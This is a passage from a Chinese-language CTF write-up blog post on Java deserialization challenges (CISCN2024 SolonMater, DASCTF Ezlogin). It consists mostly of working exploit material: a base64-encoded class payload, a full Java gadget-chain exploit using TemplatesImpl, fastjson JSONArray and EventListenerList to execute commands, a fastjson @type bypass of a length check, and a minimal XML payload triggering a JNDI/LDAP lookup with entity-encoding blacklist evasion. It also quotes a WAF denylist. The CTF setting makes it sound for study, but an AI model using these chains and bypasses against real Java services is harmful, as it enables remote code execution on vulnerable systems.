AAAQA/AAAACgACAAAANAAQADUARAAAAAQAAQASAAEATABNAAIAPgAAAT0ABAAKAAAAnyu2ACG2ACJNLBIjtgAkThIlOgQtAzISJrYAJ5kAYS0EMjoFuAAoGQW2ACm2ACo6BhEEALwIOge7ABNZtwAUOggCNgkZBhkHtgArWTYJAp8AEBkIGQcDFQm2ACyn/+i7AC1ZtwAuGQS2AC8ZCLYAMLYAL7YAMToEGQi2ADIrEQDIGQS2ADOFtgA0K7YANToFGQUZBLYANrYANxkFtgA4sQAAAAIAPwAAAEoAEgAAADkACAA6AA8AOwATADwAHgA9ACMAPgAwAD8ANwBAAEAAQQBDAEIAUQBDAF4ARQB3AEYAfABIAIkASQCPAEoAmQBLAJ4ATABCAAAAPAAD/wBDAAoHAE4HAE8HAFAHAFEHAFAHAFAHAFIHAFMHAFQBAAAa/wAdAAUHAE4HAE8HAFAHAFEHAFAAAABEAAAABAABAEYAAgBVAAAAAgBWALsAAAAKAAEAdABxALoACQ=="))

然后直接打反序列化:

1
unser=rO0ABXNyAAxFdmlsTWVtc2hlbGwx3CJ1tyzvvgIAAHhw

image-20240925204348301

提一嘴,虽然他的waf给ban了很多:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class MySecurityWaf {
private List<String> denychar = new ArrayList(Arrays.asList("java.lang", "Runtime", "org.springframework", "javax.naming", "Process", "ScriptEngineManager", "+", "replace", "JavaWrapper", "System"));

public MySecurityWaf() {
}

public boolean securitycheck(String payload) throws UnsupportedEncodingException {
if (payload.isEmpty()) {
return false;
} else {
String reals = URLDecoder.decode(payload, "UTF-8").toUpperCase(Locale.ROOT);

for(int i = 0; i < this.denychar.size(); ++i) {
if (reals.toUpperCase(Locale.ROOT).contains(((String)this.denychar.get(i)).toUpperCase(Locale.ROOT))) {
return false;
}
}
return true;
}
}
}

其实还可以考虑拼接绕,但这道题不出网。

CISCN2024-AWDP-SolonMater

重走当年路,如果我多看看也许就出了吧。

那么第二天冠军应该就不会那么提心吊胆地拿了吧。

但是如果没有前面的失利,又怎能让我破釜沉舟……

跑题了,回来看题。

分析

修还是好修,上个snakelog的黑名单就完了。

我还是以防万一把很多fj链的东西也ban了。

DemoController.class

image-20241011172524360

漏洞点位很明显,传个json的base64序列化字符串就拿去梭了。

其实这道attack还是打fj原生反序列化,只是BadAttribute这个玩意被ban了,前面User类进就为所欲为了。

本来fastjson1.2.80我看到打JNDI的很多,但这里直接给了反序列化的位置,就按他这个来吧。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
public class Exp {

public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}

public static void main(String[] args) throws Exception{

User a = new User();

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
setValue(templates, "_name", "xxx");
setValue(templates, "_tfactory", null);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) getFieldValue(undoManager, "edits");
vector.add(jsonArray);
setValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});
//BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
//setValue(bd,"val",jsonArray);

HashMap hashMap = new HashMap();
hashMap.put(templates,eventListenerList);
setValue(a, "info", hashMap);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(a);
objectOutputStream.close();

// Base64 encode the serialized data
String base64Encoded = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(base64Encoded);

deserialize(base64Encoded);
//HackerClass:class java.util.HashMap

}
}

image-20241011172403868

玛德EventlistenerList真好用,只要不ban基本原生链通杀了。

但这道题要打进去还要bypass一个东西:

1
map.size() != jsonObject.length()

按道理来说,你直接POST传参,这俩是一样的:

img

img

那咋办呢?

想到了fastjson的@type

因为fastjson会默认@type作为键的后面的值拿去反序列化,虽然这里我们欧阳学长也跟了一下发现@type被ban了,但是这里只是用去绕这个判断,这里fastjson就会只认data的键值对,所以长度为1,但map.size()=2。

image-20241011233845225

记录一个小插曲:开始赵哥给出这个玩意的时候我先去试了试发现失败了,后面才发现是java版本报的错,玛德前面用java17忘了换回来开的jar包,有点招笑了。。。。

image-20241011234010762

image-20241011234048139

image-20241011234107773

image-20241011234121961

放docker也一样,随便通:

image-20241011234215714

DASCTF2024-0rays-Ezlogin

其实非常简单的一道打readObjectXML的题目,而且根据这个hutool版本是5.8.11就能找到网上现成的CVE-POC:漏洞深度分析|CVE-2023-24162 hutool XML反序列化漏洞_cve-2023” 分析-CSDN博客

而且依赖中有Jackson2.13,可以打这个Jackson的反序列化漏洞。但是问题在于,最后你要绕这个长度限制,比赛时也是0解,应该都是卡在了这里。

漏洞点在这里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public static User login(String username, String password) throws Exception {
File userFile = new File(USER_DIR, username + ".xml");
if (!userFile.exists()) {
return null;
} else {
User user = readUser(userFile);
if (user != null && user.getPassword().equals(password)) {
login_in = true;
return user;
} else {
return null;
}
}
}

private static User readUser(File userFile) throws Exception {
String content = FileUtil.readString(userFile, "UTF-8");
int length = content.length();
if (checkSyntax(userFile) && !content.contains("java.") && !content.contains("springframework.") && !content.contains("hutool.") && length <= maxLength) {
System.out.println(maxLength);
return (User)XmlUtil.readObjectFromXml(userFile);
} else {
System.out.println(maxLength);
System.out.printf("Unusual File Detected : %s\n", userFile.getName());
return null;
}
}

登录可以触发readObjectFromXml

最后出题人给出的解释是,用editPass接口的replace逻辑漏洞修改xml固定部分,注释代码并使文件长度符合普通用户xml,以同样逻辑递归注入长度尽量短的xml反序列化payload打JNDI。

最后极限长度形如:

1
2
3
4
5
6
7
8
9
10
<!-->
111<111>
111<111>
111<111>1<111>
111<111>
111<111>
111<111>--><java><object class="javax.naming.InitialContext"><void method="lookup"><string>ldap://127.0.0.1:1389/Deserialize/Jackson/Command/calc</string></void></object></java><!--
111<111>
111<111>
</!-->

黑名单直接用unicode编码绕过一下就可以了,改成这种:

1
<object class="&#x6a;avax.naming.InitialContext">

用的是X1师傅的JNDIMap工具,挺好使的,省了写Gadget的工夫。

本地通了,但是远程要一个个改密码太烦了,就不去打了偷个懒hh。

image-20241022163224216

image-20241022163052969

(未完待续….)


Java_Unser-重走八十一难
https://eddiemurphy89.github.io/2024/08/16/java实战-重走八十一难/
作者
EddieMurphy
发布于
2024年8月16日
许可协议